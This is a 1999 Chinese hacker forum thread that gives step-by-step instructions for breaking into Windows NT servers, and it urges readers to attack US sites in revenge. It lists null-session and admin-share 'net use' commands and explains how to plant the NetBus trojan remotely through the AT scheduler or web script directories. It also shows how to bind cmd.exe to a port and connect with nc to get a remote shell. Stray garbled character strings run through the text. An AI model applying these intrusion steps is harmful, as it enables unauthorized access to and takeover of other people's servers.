关于“怎样进入NT主机”的几点补充

《版主页黑客工具和文章的几个问题》中提到：
请教，从版主页上载得PINGER，GRINDER，LETMEIN等，却不能用，PINGER安装后，明明安装前文件有1M多，但安装完后生成的文件夹中只有PINGER。EXE，40多K，运行PINGER，设置好IP，点PING，弹出一个窗口（C++。。。），说出错，然后关闭了，何故，是不是安装有误？ 2。运行LETMEIN，弹出以下错误：连接文件LETMEIN。EXE到不存在的NETAPI32。DLL；NETGROUPGETUSERS。 是否说明需要NETAPI32。DLL文件，哪里有该DLL。 3。USAKILLER 的教学文章中提到需在WINNT4。0下运行以下步骤等，是否要求我的操作系统也是WINNT4。0 ，应该不是吧？ 4。NC FOR NT 是否要求我的操作系统为NT，还是服务器的操作系统为NT？ 太多的问题需高手回答，我花那么多的时间和金钱下载这几M文件却不能用，实在窝囊哦， 强烈建议USAKILLER 等高手级的黑客写更多的教学文章，以提高我国黑客水平。
4 g8 ?( ?( g- ~2 O8 O" y> 我的机子MMX166，WIN98，2。5G，32M内存。

黑客并不神秘，你只要了解操作系统，学习一些操作系统的弱点，辅助相关的工具，就可以成功。
你的问题是，pinger, grinder, letmein等工具必须要在NT上运行，我们强烈建议，你一定要安装NT，对于你的机器配制，和我们现在差不多，只是比你多了32M内存，2G硬盘。
6 N0 w2 p9 y% M3 K& Q0 }其实，攻击敌站，利用其操作系统本身的工具就可以了，比如，我们在NT上攻击某服务器，该服务器为NT4.0，我们将做如下简单事情就有可能成功，假设目标NT的IP地址为111.111.111.111，做法如下：
7 s; O1 z: j: [9 j) Tnet use \\111.111.111.111\ipc$ "" /user:""
net.exe是NT的工具文件，该命令将和目标服务器建立Null Session，如果成功，你可以查看该服务器上的共享目录：
  L. o4 X, B: M# ~' nnet view \\111.111.111.111
" v1 l5 @6 d5 B+ E* u3 S4 x4 j! t当然，如果你有该NT管理员密码，就更好办了，假设其管理员Admin密码为fuck：
net use \\111.111.111.111\ipc$ "fuck" /user:"Admin"
9 T! H# J2 t6 w2 w命令成功后，几乎所有目标NT上的配制，资源，你都可以在你本地NT上连接远程计算机来查看或修改：
) s2 _+ `( N' R+ \5 p: O% D1、查看或修改远程机器上的硬盘，假如目标NT上有C、D两个硬盘：
3 O, Q: P+ H9 G' w1 g0 inet use x: \\111.111.111.111\c$
! L: {# E, |' [+ w9 [4 H, i9 Cnet use y: \\111.111.111.111\d$
) f/ z& V3 x# ?6 F2 n8 {这样，目标NT上的C、D盘分别被影射为你本地的X、Y盘，你想怎么做都可以...
2 f; x0 {+ o" ?! F3 o1 a; h2、管理目标NT的用户：
) P$ \+ t+ e) f2 o6 R0 W从“开始”->“程序”->“管理工具（公用）”->“域用户管理器”->菜单：“用户”->“选择域”
键入\\111.111.111.111后，目标NT上的所有用户你想怎么做都可以，和管理你本地的一样
3、管理目标NT的服务
选择“管理工具(公用)”->“服务器管理”->“计算机”->“选择域”
这样你可以管理目标NT上的服务，共享目录
1 G  D2 z8 E3 S, o5 R4、IIS管理
; ~0 ~9 H, Q* y4 v7 x% `( t. W选择“Microsoft Internet Service管理”->“Internet 服务管理器”->"连接到服务器"->111.111.111.111
% v/ `4 D" x% |8 U! y目标NT的FTP、WWW服务你就可以重新配置
2 D- l3 }; s) N) i6 N; o5、事件管理
“事件查看器”->连接到服务器->111.111.111.111
1 A3 V3 b  T. }
还有更多的东西，都可以用NT本身的功能来完成，这些都是95, 98所不能实现的。

5 X( L& B: ^, h& L* t0 u当然，98,95也能做一些事情，但很麻烦，比如：
. e/ _3 H* e) Jnet use \\111.111.111.111\ipc$
+ _. l! m) `% F! Enet use z: \\111.111.111.111\d$
; e4 X% t; N6 X9 D3 J2 A但其后不能带参数，即改用其他用户或密码，系统将用当前用户和密码去登录，如果你知道目标NT的用户或密码，重新启动95, 98，改用该用户和密码登录，方可实现，你可以连接目标NT上的共享资源，但不能进行管理，如用户、事件等

# V0 e& A/ R) F" Q# z我们强烈建议各位有心要为死难者报仇，真正的想黑霉国的站点，花点时间，装个NT吧，NT Workstation也可以！
这样，你还可以了解目标机器上能有什么东东供你去用！

' G: ~8 y+ n4 p( S4 \5 L: B/ G+ A1 h! z
--------------------------------------------------------------------------------
6 t7 }! X# R: _
>quack于1999-06-12，23:37:44
( I) ^0 U9 y3 y, q0 S) B在大作《几个有关黑的问题》中提到：
# T$ l' M# H2 @5 _首先向各位黑兄们致敬,我下了你们的传的东东,但发现在用LETMEIN.EXE的时候没有用到MYPWD的参数,键入LETMEIN查询其使用方法时亦无此参数项,不知为是何原因?另,用PINGER查询到的IP地址若无机器名的是否可以直接进入,我怎么用NET USE总无法登陆?再有,假定我上传了CIH,对了,CIH对NT暂时无效,假定上传其它"有益"美国NT主机的东东上去,而未传NETBUS,可否直接在其机了运行此东东使其当堂暴毙?--我曾用LEGION上美国机子,但运行程序时却是在我的机上干活,差点把自己毙了!再有,我在微软的CHAT中常遇到美国鬼子,在其CHAT下怎样才能看到它的IP?怎样把它们给KILL了?--顺便说一句,我还真干掉了几个美国人,哈!。
1 ?% \2 L0 c6 `1 T* f
9 f3 M' w6 E6 C3 R9 tkillusa于1999-06-13，03:25:15
在大作《Re: 几个有关黑的问题》中提到：
2 a* N( H; E5 Q7 K  t" Z
letmein.exe 暂时没有mypwd参数，十分抱歉
pinger程序，只是利用ping来寻找主机，每台NT服务器有一个主IP地址，但也可以设置多个辅助IP地址，比如有些服务器供应商，一台NT服务器上可以设置一千多个IP，每个IP对应一个Hostname,而真正能找到主机名的只有一个IP地址，就是该主机的主IP地址，所以有时显示只有IP，而无主机名。另外，有些服务器是非NT的操作系统，有时将不会显示主机名。当然，有时在服务器上进行一些设置，也会出现上面的情况。

0 Y, C! P& u! lNetbus分客户端程序ntsrv.exe和服务器端netbus.exe两个程序，所以，netbus.exe是不用上传的，只需在目的
) I0 F0 W& ]& M4 d# N服务器上运行ntsrv.exe，而在目的服务器运行该程序有很多种方法：

1、利用服务器的 Schedule 服务来启动schedule 服务是指在服务器上定时运行某程序，具体使用方法，可在自己的NT Dos窗口下键入以下：

1 S! x- I$ d  zC:\>net start schedule
Schedule 正在启动服务.....
Schedulw 服务启动成功。
C:\>at /?
2 g4 n* ~$ G: v( T" L8 FAT 命令排定在特定的日期和时间运行某些命令和程序。
. Y! ]2 x" U- i( Q运行 AT 命令之前必须先启动 Schedule 服务。

2 ^$ K( T5 r/ c, q. fAT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
4 C. _5 y; ?- BAT [\\computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] "command"

\\computername 指定远程计算机。 如果省略这个参数
命令会被排定在本机上运行。
5 [/ ]% o$ S3 X$ g, W6 X/ O, C2 Tid 指定给排定进度命令的识别号。

4 Y1 V0 ^8 A' r7 m% }/delete 删除某个已排定进度的命令。如果省略标识，计算机上所有已排定进度的命令都会被删除。
% o# k. [( p) N3 {  \/yes 用于删除所有作业，且不想在运行删除时显示确认信息 。
! Y3 z5 j, a/ F8 y9 \* xtime 指定命令运行的时间。
/interactive 允许作业在运行时，与用户通过桌面交互。

- {( l. H( ^! R2 i/ N/every:date[,...] 指定在每周或每月的某日 (或某几日) 运行命令。
如果省略日期，则默认为在每月的本日运行。
/ W5 M1 o2 m. Z
/next:date[,...] 指定在下一个指定日期 (如，下周三)，运行命令。如果省略日期，则默认为在每月的本日运行。

6 ^8 X& k* R# r4 j4 Z) L/ |"command" 准备运行的 Windows NT 命令或批处理文件。

0 S- Q! i. F, |0 H4 nC:\>
( x% c7 ]6 \/ k, {  \
知道了如何使用AT，再来看看如何在远程NT上运行ntsrv.exe：
% m9 R' u5 y' N- S# b% z( K2 v9 S* S1 利用管理员登陆到目的服务器，方法为： net use \\x.x.x.x\ipc$ "adminpwd" /user:"adminuser"
2 利用ntsrv.exe启动远程: netsvc \\x.x.x.x schedule /start
$ Y+ w3 ~: U9 n; g/ X3 利用AT.EXE在远程服务器设置程序定时运行，当然最快运行最理想，所以，你可以用letmein.exe得到服务器的时间，然后：
at \\x.x.x.x 00:00 ntsrv.exe /port:64321
2 R1 I% i) g2 e  v  @, M- t1 o其中00:00要改为用letmein.exe得回来的具体时间+一点容量，等一会后，再在本地启动netbus.exe，键入目的服务器得ip地址或hostname，连接！具体使用可参照 "How to get in nt"，比如第一种方法，你想要在目的服务器运行 LEGION，可以利用netbus得上传功能，将LEGION上传至目的服务器，再用netbus的"Start program"，键入完整路径的LEGION运行程序，就ok了！第二种方法是利用netbus的“App redirect”功能，启动远程telnet服务，如下：在netbus中击“App redirect”，键入"C:\>winnt\system32\cmd.exe"，Port为：4321，服务就启动了，然后在本地运行：nc x.x.x.x 4321，出现dos启动的画面就表示连接成功：
Microsoft(R) Windows NT(TM)
# @# K/ |2 Q0 C4 S- F  u  f8 |+ Y(C) Copyright 1985-1996 Microsoft Corp.
8 t6 \: j3 J: u1 [C:\>

; x( r0 G+ u% t/ ]; `& F- |2、利用web启动ntsrv.exe或其他程序在目的服务器

' [  D8 A* u8 S' L% U将ntsrv.exe 或其他运行程序Copy到目的服务器的www可执行目录，如cgi-bin或scripts，然后在浏览器键入url如：
http://x.x.x.x/scripts/ntsrv.exe /port:64321
或 http://x.x.x.x/cgi-gin/ntsrv.exe /port:64321
该程序就启动了
  N! d4 f/ H3 Z; h
我只提这几中方法！
6 E/ G" j; K+ Z要成功，必须打好基础工，对操作系统充分了解!
: D8 ]- e. U; O1 S